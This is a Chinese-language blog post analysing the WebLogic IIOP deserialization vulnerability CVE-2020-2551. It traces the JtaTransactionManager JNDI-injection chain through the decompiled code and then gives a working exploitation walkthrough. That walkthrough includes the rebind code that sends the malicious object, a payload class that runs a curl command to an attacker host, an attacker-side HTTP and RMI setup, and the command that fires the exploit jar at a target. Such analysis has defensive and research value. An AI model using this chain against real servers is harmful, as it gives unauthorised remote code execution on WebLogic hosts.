IIOP协议导致的反序列化。

环境

weblogic10.3.6+jdk1.6 idea+jdk1.8+jdk1.6

IIOP

IIOP，Internet Inter-ORB Protocol(互联网内部对象请求代理协议)，它是一个用于CORBA 2.0及兼容平台上的协议；用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。

RMI-IIOP出现以前，只有RMI和CORBA两种选择来进行分布式程序设计，二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点，克服了他们的缺点，使得程序员能更方便的编写分布式程序设计，实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性，RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。

在Weblogic中，默认启用了IIOP，而IIOP的传输也是通过序列化和反序列化的形式来进行的。在Weblogic中RMI-IIOP模型可以借用奇安信观星实验室的一张图来说明

image

IIOP样例

先来看一个简单的RMI-IIOP样例，具体代码可以看 https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms

 1package com.longofo.example;
 2
 3import javax.naming.Context;
 4import javax.naming.InitialContext;
 5import javax.naming.NamingException;
 6import java.util.Hashtable;
 7
 8public class HelloServer {
 9    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
10
11    public static void main(String[] args) {
12        try {
13            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
14            //实例化Hello servant
15            HelloImpl helloRef = new HelloImpl();
16
17            //使用JNDI在命名服务中发布引用
18            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
19            initialContext.rebind("HelloService", helloRef);
20
21            System.out.println("Hello Server Ready...");
22
23            Thread.currentThread().join();
24        } catch (Exception ex) {
25            ex.printStackTrace();
26        }
27    }
28
29    private static InitialContext getInitialContext(String url) throws NamingException {
30        Hashtable env = new Hashtable();
31        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
32        env.put(Context.PROVIDER_URL, url);
33        return new InitialContext(env);
34    }
35}

Server端通过InitialContext拿到上下文，然后注册一个HelloService对应helloRef引用，而HelloImpl又实现了HelloInterface接口，其中有一个sayHello方法并且继承java.rmi.Remote抛出java.rmi.RemoteException，这部分其实和RMI是大同小异的，在我的其他文章中介绍过了RMI，这里不再赘述。

漏洞分析

现在我们来看这个漏洞。IIOP传输的过程中会自动序列化和反序列化，那么我们可以通过向服务器7001端口发送一个恶意的序列化对象，IIOP达到RCE。

发送恶意序列化对象的过程，其实就是bind的过程，由此我们可以构造请求

 1Hashtable<String, String> env = new Hashtable<String, String>();
 2// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
 3env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
 4env.put("java.naming.provider.url", rhost);
 5Context context = new InitialContext(env);
 6// get Object to Deserialize
 7JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
 8jtaTransactionManager.setUserTransactionName(rmiurl);
 9
10Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
11context.rebind("Y4er"+System.nanoTime(), remote);

你肯定疑惑JtaTransactionManager和weblogic.jndi.WLInitialContextFactory是从哪来的？

  1. JtaTransactionManager是spring爆出的一个可以JNDI注入的类，在weblogic中也存在。
  2. weblogic.jndi.WLInitialContextFactory 是weblogic的JNDI工厂类。

国际惯例，跟一下流程，IIOP解析数据流的部分看不懂不跟了，从IIOP开始反序列化对象开始

E:/source/java/Weblogic/src/main/resources/lib/modules/weblogic.jar!/weblogic/iiop/IIOPInputStream.class:1725

image

此时var2是序列化传入的com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager，跟进readValue()

image

跟进readValueData()，判断是否有readObject方法之后进入自身的readObject()，也就是om.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager的readObject

image

然后通过反射调用JtaTransactionManager的readObject()，跟进

image

到此之后就是Weblogic的CVE-2018-3191 spring JNDI注入了，简单来说就是lookup()的参数可控，导致可以加载任意类。我们继续跟进initUserTransactionAndTransactionManager()

image

如果userTransaction等于空有userTransactionName属性则进入lookupUserTransaction()，跟进

image

此时lookup()参数可控

image

lookup加载我们的RMI服务，可以注入恶意ip的rmi服务，触发实例化恶意类构造方法调用。如果不明白请参考文末的《Spring framework 反序列化的漏洞》以及《weblogic之CVE-2018-3191漏洞分析》。

漏洞利用

Github：https://github.com/Y4er/CVE-2020-2551

下载jar包，然后使用marshalsec起一个恶意的RMI服务，本地编译一个exp.java

 1package payload;
 2
 3import java.io.IOException;
 4
 5public class exp {
 6
 7    public exp() {
 8        String cmd = "curl http://172.16.1.1/success";
 9        try {
10            Runtime.getRuntime().exec(cmd).getInputStream();
11        } catch (IOException e) {
12            e.printStackTrace();
13        }
14    }
15}

尽量使用和weblogic相同的版本编译 然后本地起一个web服务器

1python -m http.server --bind 0.0.0.0 80

命令行运行jar包

1java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp

实际效果如图

image

参考链接

  1. https://paper.seebug.org/1130
  2. https://seaii-blog.com/index.php/2019/12/29/92.html
  3. https://www.anquanke.com/post/id/197605
  4. https://www.cnblogs.com/afanti/p/10256843.html
  5. https://www.cnblogs.com/afanti/p/10193169.html
  6. https://github.com/Y4er/CVE-2020-2551
  7. https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms
  8. https://paper.seebug.org/1105/
  9. https://paper.seebug.org/1091/

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。